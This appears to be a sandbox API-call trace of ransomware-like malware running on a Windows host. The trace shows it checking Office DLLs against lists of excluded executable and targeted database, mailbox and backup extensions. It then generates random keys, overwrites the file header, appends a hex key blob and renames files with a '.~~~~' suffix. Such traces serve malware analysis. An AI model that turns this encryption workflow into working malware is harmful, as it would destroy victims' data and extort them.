	[0080.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0080.097] GetLastError () returned 0x0
	[0080.097] RtlWakeConditionVariable () returned 0x365f70
	[0080.097] GetCurrentThreadId () returned 0x9cc
	[0080.114] GetCurrentThreadId () returned 0x9cc
	[0080.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0080.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbb28 | out: hHeap=0x300000) returned 1
	[0080.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280ba18 | out: hHeap=0x300000) returned 1
	[0080.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbb28
	[0080.114] lstrlenW (lpString=".scr") returned 4
	[0080.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".scr") returned 0x0
	[0080.115] lstrlenW (lpString=".cmd") returned 4
	[0080.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".cmd") returned 0x0
	[0080.115] lstrlenW (lpString=".dll") returned 4
	[0080.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".dll") returned 0x0
	[0080.115] lstrlenW (lpString=".bat") returned 4
	[0080.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".bat") returned 0x0
	[0080.115] lstrlenW (lpString=".cpl") returned 4
	[0080.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".cpl") returned 0x0
	[0080.115] lstrlenW (lpString=".sys") returned 4
	[0080.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".sys") returned 0x0
	[0080.115] lstrlenW (lpString=".msc") returned 4
	[0080.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".msc") returned 0x0
	[0080.115] lstrlenW (lpString=".com") returned 4
	[0080.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".com") returned 0x0
	[0080.115] lstrlenW (lpString=".lnk") returned 4
	[0080.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".lnk") returned 0x0
	[0080.115] lstrlenW (lpString=".msp") returned 4
	[0080.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".msp") returned 0x0
	[0080.115] lstrlenW (lpString=".pif") returned 4
	[0080.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".pif") returned 0x0
	[0080.115] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0080.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0080.116] lstrlenW (lpString=".sqb") returned 4
	[0080.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".sqb") returned 0x0
	[0080.116] lstrlenW (lpString=".ost") returned 4
	[0080.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".ost") returned 0x0
	[0080.117] lstrlenW (lpString=".txt") returned 4
	[0080.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".txt") returned 0x0
	[0080.117] lstrlenW (lpString=".mdt") returned 4
	[0080.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".mdt") returned 0x0
	[0080.117] lstrlenW (lpString=".BDB") returned 4
	[0080.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".BDB") returned 0x0
	[0080.117] lstrlenW (lpString=".eql") returned 4
	[0080.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".eql") returned 0x0
	[0080.117] lstrlenW (lpString=".DBF") returned 4
	[0080.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".DBF") returned 0x0
	[0080.117] lstrlenW (lpString=".EQL") returned 4
	[0080.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".EQL") returned 0x0
	[0080.117] lstrlenW (lpString=".FDB") returned 4
	[0080.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".FDB") returned 0x0
	[0080.117] lstrlenW (lpString=".EDB") returned 4
	[0080.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".EDB") returned 0x0
	[0080.117] lstrlenW (lpString=".DACPAC") returned 7
	[0080.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".DACPAC") returned 0x0
	[0080.117] lstrlenW (lpString=".VHD") returned 4
	[0080.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".VHD") returned 0x0
	[0080.117] lstrlenW (lpString=".DBV") returned 4
	[0080.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".DBV") returned 0x0
	[0080.117] lstrlenW (lpString=".dacpac") returned 7
	[0080.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".dacpac") returned 0x0
	[0080.117] lstrlenW (lpString=".sdf") returned 4
	[0080.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".sdf") returned 0x0
	[0080.118] lstrlenW (lpString=".accdb") returned 6
	[0080.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".accdb") returned 0x0
	[0080.118] lstrlenW (lpString=".DBX") returned 4
	[0080.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".DBX") returned 0x0
	[0080.118] lstrlenW (lpString=".MDT") returned 4
	[0080.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".MDT") returned 0x0
	[0080.118] lstrlenW (lpString=".SQB") returned 4
	[0080.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".SQB") returned 0x0
	[0080.118] lstrlenW (lpString=".vhd") returned 4
	[0080.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".vhd") returned 0x0
	[0080.118] lstrlenW (lpString=".bac") returned 4
	[0080.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".bac") returned 0x0
	[0080.118] lstrlenW (lpString=".mdf") returned 4
	[0080.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".mdf") returned 0x0
	[0080.118] lstrlenW (lpString=".BAK") returned 4
	[0080.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".BAK") returned 0x0
	[0080.118] lstrlenW (lpString=".BAC") returned 4
	[0080.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".BAC") returned 0x0
	[0080.118] lstrlenW (lpString=".dbs") returned 4
	[0080.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".dbs") returned 0x0
	[0080.118] lstrlenW (lpString=".vhdx") returned 5
	[0080.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".vhdx") returned 0x0
	[0080.118] lstrlenW (lpString=".NDF") returned 4
	[0080.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".NDF") returned 0x0
	[0080.118] lstrlenW (lpString=".dat") returned 4
	[0080.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".dat") returned 0x0
	[0080.119] lstrlenW (lpString=".DBS") returned 4
	[0080.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".DBS") returned 0x0
	[0080.119] lstrlenW (lpString=".CKP") returned 4
	[0080.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".CKP") returned 0x0
	[0080.119] lstrlenW (lpString=".edb") returned 4
	[0080.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".edb") returned 0x0
	[0080.119] lstrlenW (lpString=".PST") returned 4
	[0080.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".PST") returned 0x0
	[0080.119] lstrlenW (lpString=".dbf") returned 4
	[0080.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".dbf") returned 0x0
	[0080.119] lstrlenW (lpString=".SQL") returned 4
	[0080.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".SQL") returned 0x0
	[0080.119] lstrlenW (lpString=".pst") returned 4
	[0080.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".pst") returned 0x0
	[0080.119] lstrlenW (lpString=".dbv") returned 4
	[0080.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".dbv") returned 0x0
	[0080.119] lstrlenW (lpString=".SDF") returned 4
	[0080.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".SDF") returned 0x0
	[0080.119] lstrlenW (lpString=".dtxs") returned 5
	[0080.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".dtxs") returned 0x0
	[0080.119] lstrlenW (lpString=".db3") returned 4
	[0080.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".db3") returned 0x0
	[0080.120] lstrlenW (lpString=".OST") returned 4
	[0080.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".OST") returned 0x0
	[0080.120] lstrlenW (lpString=".dbx") returned 4
	[0080.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".dbx") returned 0x0
	[0080.120] lstrlenW (lpString=".DB3") returned 4
	[0080.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".DB3") returned 0x0
	[0080.120] lstrlenW (lpString=".DAT") returned 4
	[0080.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".DAT") returned 0x0
	[0080.120] lstrlenW (lpString=".VHDX") returned 5
	[0080.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".VHDX") returned 0x0
	[0080.120] lstrlenW (lpString=".ndf") returned 4
	[0080.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".ndf") returned 0x0
	[0080.120] lstrlenW (lpString=".DB") returned 3
	[0080.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".DB") returned 0x0
	[0080.120] lstrlenW (lpString=".sql") returned 4
	[0080.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".sql") returned 0x0
	[0080.120] lstrlenW (lpString=".MYD") returned 4
	[0080.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".MYD") returned 0x0
	[0080.120] lstrlenW (lpString=".DBT") returned 4
	[0080.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".DBT") returned 0x0
	[0080.120] lstrlenW (lpString=".ACCDB") returned 6
	[0080.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".ACCDB") returned 0x0
	[0080.120] lstrlenW (lpString=".fdb") returned 4
	[0080.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".fdb") returned 0x0
	[0080.120] lstrlenW (lpString=".bak") returned 4
	[0080.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".bak") returned 0x0
	[0080.120] lstrlenW (lpString=".myd") returned 4
	[0080.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".myd") returned 0x0
	[0080.121] lstrlenW (lpString=".DTXS") returned 5
	[0080.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".DTXS") returned 0x0
	[0080.121] lstrlenW (lpString=".ckp") returned 4
	[0080.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".ckp") returned 0x0
	[0080.121] lstrlenW (lpString=".dbt") returned 4
	[0080.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".dbt") returned 0x0
	[0080.121] lstrlenW (lpString=".db") returned 3
	[0080.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".db") returned 0x0
	[0080.121] lstrlenW (lpString=".TXT") returned 4
	[0080.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".TXT") returned 0x0
	[0080.121] lstrlenW (lpString=".MDF") returned 4
	[0080.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".MDF") returned 0x0
	[0080.121] lstrlenW (lpString=".bdb") returned 4
	[0080.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".bdb") returned 0x0
	[0080.121] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0080.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.121] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0080.122] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.122] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0080.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3cc6f0
	[0080.123] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20011275294) returned 1
	[0080.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x999bb2f0, dwHighDateTime=0x1d60e1e)) 
	[0080.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0080.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0080.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0080.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280ba18
	[0080.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280ba18 | out: hHeap=0x300000) returned 1
	[0080.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb830
	[0080.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.123] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0080.124] GetLastError () returned 0x0
	[0080.124] GetLastError () returned 0x0
	[0080.124] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0080.124] GetLastError () returned 0x0
	[0080.124] GetLastError () returned 0x0
	[0080.124] ReadFile (in: hFile=0x118, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.289] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.289] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0080.290] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.290] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.314] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.314] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.314] CloseHandle (hObject=0x118) returned 1
	[0080.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b7288
	[0080.314] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.~~~~")) returned 1
	[0080.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7288 | out: hHeap=0x300000) returned 1
	[0080.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0080.315] GetLastError () returned 0x0
	[0080.316] RtlWakeConditionVariable () returned 0x365f70
	[0080.316] GetCurrentThreadId () returned 0x9cc
	[0080.316] GetCurrentThreadId () returned 0x9cc
	[0080.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b7288
	[0080.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b73d8 | out: hHeap=0x300000) returned 1
	[0080.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bb68 | out: hHeap=0x300000) returned 1
	[0080.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b73d8
	[0080.316] lstrlenW (lpString=".scr") returned 4
	[0080.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL", lpSrch=".scr") returned 0x0
	[0080.316] lstrlenW (lpString=".cmd") returned 4
	[0080.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL", lpSrch=".cmd") returned 0x0
	[0080.316] lstrlenW (lpString=".dll") returned 4
	[0080.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL", lpSrch=".dll") returned 0x0
	[0080.316] lstrlenW (lpString=".bat") returned 4
	[0080.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL", lpSrch=".bat") returned 0x0
	[0080.316] lstrlenW (lpString=".cpl") returned 4
	[0080.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL", lpSrch=".cpl") returned 0x0
	[0080.316] lstrlenW (lpString=".sys") returned 4
	[0080.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL", lpSrch=".sys") returned 0x0
	[0080.316] lstrlenW (lpString=".msc") returned 4
	[0080.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL", lpSrch=".msc") returned 0x0
	[0080.317] lstrlenW (lpString=".com") returned 4
	[0080.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL", lpSrch=".com") returned 0x0
	[0080.317] lstrlenW (lpString=".lnk") returned 4
	[0080.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL", lpSrch=".lnk") returned 0x0
	[0080.317] lstrlenW (lpString=".msp") returned 4
	[0080.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL", lpSrch=".msp") returned 0x0
	[0080.317] lstrlenW (lpString=".pif") returned 4
	[0080.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL", lpSrch=".pif") returned 0x0
	[0080.317] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0080.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0080.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b73d8 | out: hHeap=0x300000) returned 1
	[0080.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7288 | out: hHeap=0x300000) returned 1
	[0080.318] RtlWakeConditionVariable () returned 0x365f70
	[0080.318] GetCurrentThreadId () returned 0x9cc
	[0080.318] GetCurrentThreadId () returned 0x9cc
	[0080.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0080.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbcf0 | out: hHeap=0x300000) returned 1
	[0080.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bba0 | out: hHeap=0x300000) returned 1
	[0080.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbcf0
	[0080.318] lstrlenW (lpString=".scr") returned 4
	[0080.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL", lpSrch=".scr") returned 0x0
	[0080.318] lstrlenW (lpString=".cmd") returned 4
